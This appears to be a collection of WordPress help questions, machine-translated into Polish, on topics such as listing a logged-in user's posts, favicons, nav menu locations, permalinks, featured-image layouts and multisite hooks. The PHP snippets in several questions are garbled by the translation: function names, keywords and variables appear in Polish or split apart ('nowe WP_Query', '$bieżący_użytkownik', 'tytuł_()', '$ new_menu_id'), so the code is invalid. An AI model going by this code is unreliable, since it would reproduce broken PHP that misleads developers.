text: Chciałbym stworzyć szablon strony, który będzie wyświetlał wszystkie posty aktualnie zalogowanego użytkownika. Udało mi się znaleźć starszy wątek, który zawierał ten kod: if ( is_user_logged_in() ): global $current_user; get_currentuserinfo(); $author_query = array('posts_per_page' => '-1','author' => $bieżący_użytkownik->ID); $author_posts = nowe WP_Query($author_query); while($author_posts->have_posts()) : $author_posts->the_post(); ?> <a href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>"><?php the_title(); ?> <?php endwhile; else : echo "nie zalogowany"; endif; jednak kod wydaje się nie działać (w rzeczywistości żadna strona używająca szablonu, który go zawiera, po prostu się nie załaduje).


title: Jak dodać favicon do mojej strony - zarówno w interfejsie użytkownika, jak i panelu administracyjnym

text: Jak mogę dodać favicon do mojej witryny WordPress zarówno w interfejsie, jak i panelu administracyjnym. Próbowałem na wiele sposobów, ale zawiodłem. Wiem, aby pokazać favicon kod to: <link rel="shortcut icon" href="images/favicon.ico" /> Jak mogę to zaimplementować?


title: Wstaw dane za pomocą skryptu bezpośrednio do bazy danych

text: czy można wstawić dane za pomocą skryptu lub witryny HTML do wpdb i pojawi się to jako normalny artykuł na stronie, tak samo jak w przypadku korzystania ze strony „utwórz nowy post”? Których tabel dotyczy problem lub powinienem się tym zainteresować? BR, mybecks


title: Używanie natywnej obsługi obrazów wp zamiast timthumb

text: Po nieszczęściu z timthumbem i za radą z tej strony zamierzam wyedytować swój motyw tak, aby działał przy użyciu natywnych funkcji wp. Jednak trochę utknąłem. Znalazłem ten http://wpquestions.com/question/show/id/1098, który wydaje się być funkcją zmieniającą rozmiar obrazów w locie, ale nie jestem do końca pewien, jak jej użyć w moim motywie. Oprócz tego wiem, że w WP jest normalna funkcja miniatur – ale jak mam jej użyć zamiast timthumb, który obecnie jest tylko adresem URL w moim źródle obrazu?


title: Układ pojedynczego posta na podstawie zalecanego rozmiaru obrazu

text: **Mam** dwa minimalne rozmiary obrazu do zabawy. Jeden ma wymiary 420x640px ("stojący"), a drugi 980x420px ("krajobraz"). W moim motywie jest normalna pętla o regularnym układzie. **Cel** to stworzenie układu dla pojedynczego posta, który najpierw sprawdza rozmiar polecanego obrazu (np. „sprawdź, czy post ma polecany rozmiar obrazu o maksymalnej szerokości 420px, jeśli true addclass layout-single-post-standing " czy coś takiego). Czytałem o responsywnym projektowaniu, ale jestem w tym początkujący. Czy ktoś z was ma pomysł od czego zacząć? **AKTUALIZACJA:** układ dyktowania oparty na rozmiarze prezentowanego obrazu może być uważany za słaby mechanizm. Jak się okazało, ta metoda zadziałała bardzo dobrze. Korzystając z wbudowanej funkcji dwadzieściaten_header_image_width (functions.php) i rozszerzając ją o kilka instrukcji warunkowych (wp_get_attachment_image_src i więcej) w pętli WP, a także ustawiając kilka rozmiarów (add_image_) udało nam się to zrobić. Jest to bardzo złożona pętla WP z mnóstwem ech, ale spełnia nasz cel, jakim jest użycie rozmiaru prezentowanego obrazu, aby zdecydować, jaki układ ma zostać zaprezentowany odwiedzającemu.


title: Alternatywny obraz nagłówka

text: Czy istnieje wygodny i konfigurowalny sposób na przełączanie się między różnymi obrazami nagłówków? Główne funkcje, których szukam, to: * Losowy wybór z zestawu obrazów * Określony obraz nagłówka w podanym zakresie dat (tak jak Google Doodle) * Określony obraz nagłówka dla określonych postów lub stron


title: Wordpress zbiera linki, które nie istnieją

text: Wtyczka online użytkowników i za każdym razem, gdy idę sprawdzić, zawsze widzę, że większość użytkowników znajduje się na stronie z napisem „nie znaleziono strony” i jest to adres URL, który z niej otrzymuję http://www.celebloid.com/wp -content/plugins/lightbox- gallery/js/jquery.lightbox.js problem polega na tym, że katalog „lightbox-gallery” nie istnieje. Jak rozwiązać ten problem?


title: Wyjaśnienie funkcji Apply_filters i jej zmiennych

text: Uczę się budować formularze html przy użyciu PHP na przykładzie wtyczki "simplr form registration". Patrzę na ten kod: $form .= apply_filters('simplr-reg-instructions', __('Proszę wypełnić ten formularz, aby zarejestrować się w tej witrynie', 'simplr-reg')); Czy możesz wyjaśnić, co się tutaj dzieje - co robi funkcja, dlaczego potrzebne są „simplr-reg-instructions” i „simplr-reg”? Dlaczego ta linia nie może być po prostu: $form .= 'Proszę wypełnić ten formularz, aby zarejestrować się w tej witrynie' ; Przeczytałem odwołanie do funkcji, ale nadal nie mogę tego rozgryźć.


title: Menu nawigacyjne nie jest przypisane Lokalizacja motywu

text: Konfiguruję menu nawigacyjne za pomocą następującego fragmentu w moim `functions.php`. add_action( 'init', 'add_menus' ); function add_menus() { register_nav_menus( array( 'main_nav' => 'Nawigacja główna', ) ); $ new_menu_id = wp_create_nav_menu( 'Nawigacja' ); $menu1 = array('menu-item-title' => 'Home','menu-item-object' => 'strona','menu-item-object-id' => get_page_by_path('home')-> ID,'menu-item-type' => 'post_type','menu-item-status' => 'publish'); $menu2 = array('menu-item-title' => 'Zarejestruj','menu-item-object' => 'strona','menu-item-object-id' => get_page_by_path('register')-> ID,'menu-item-type' => 'post_type','menu-item-status' => 'publish'); $menu3 = array('menu-item-title' => 'Login','menu-item-object' => 'strona','menu-item-object-id' => get_page_by_path('login')-> ID,'menu-item-type' => 'post_type','menu-item-status' => 'publish'); // dodaj pozycję menu do tego nowego menu wp_update_nav_menu_item( $new_menu_id, 0, $menu1 ); wp_update_nav_menu_item( $ new_menu_id, 0, $ menu2 ); wp_update_nav_menu_item( $ new_menu_id, 0, $ menu3 ); // ustaw nasze nowe MENU w lokalizacji menu nawigacyjnego naszego motywu set_theme_mod( 'nav_menu_locations' , array('main_nav' => $new_menu_id ) ); } Kiedy tworzę nowy multi-site, generuje menu i pozycje menu, jednak nie przypisuje lokalizacji motywu zgodnie z ustawieniem: set_theme_mod( 'nav_menu_locations' , array('main_nav' => $new_menu_id ) ); Jeśli usunę menu, a następnie odświeżę, przypiszę je poprawnie, masz pomysł, co się dzieje?


title: Czy permastruktura jest możliwa na stronach?

text: Od kilku tygodni staram się tworzyć własne przepisy na stronach. Dużo czytam o przepisywania postów i niestandardowych typów postów. ALE: Mam strony, które wywołuję ze zmiennymi. Jak można połączyć te zmienne w strukturę permalinka? Obecnie mam: www.mysite.com/pagename/?arg1=value1&arg2=value2 ale chcę mieć coś takiego jak www.mysite.com/pagename/value1/value2 Znalazłem link post_link, który wydaje się być używany na stronach i page_link dla stron. Ale page_link nie działa w ten sam sposób. Jak mogę zrobić, co chcę zrobić? Proszę pomóż!


title: get_the_ID nie zwraca poprawnej wartości identyfikatora

text:
Mam pętlę (the_loop), która wyświetla polecane obrazy na moim suwaku, ale muszę ją przefiltrować tylko do określonego identyfikatora posta. Ale get_the_ID nie działa. Oto mój kod <?$valid_post_id('1','2','3','4');?> <?php while( have_posts() ) : the_post(); ?> <?if(in_array(get_the_ID(),$valid_post_id)):?>
 <div id="post-<?php the_ID(); ?>" <?php post_class() ; ?><?php if( isset( $thumbnail ) ) : ?> style="background:url(<?php echo $thumbnail[0]; ?>) center no-repeat"<?php endif; ?>>

 <a class="overlay" href="<?php the_permalink(); ?>" rel="zakładka">

<a href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>" rel="zakładka">< ?php tytuł_(); ?>

 <?php the_excerpt(); ?>

<! -- .post -->
 <?endif;?> <?php endwhile; ?>


title: Uruchom funkcję, gdy nowa witryna jest tworzona w Wordpress przy użyciu wielu witryn

text: Obecnie opracowuję wtyczkę obsługującą wiele witryn dla prasy Word. Muszę uruchomić funkcję, gdy nowa witryna zostanie stworzona w Wordpress przy użyciu wielu witryn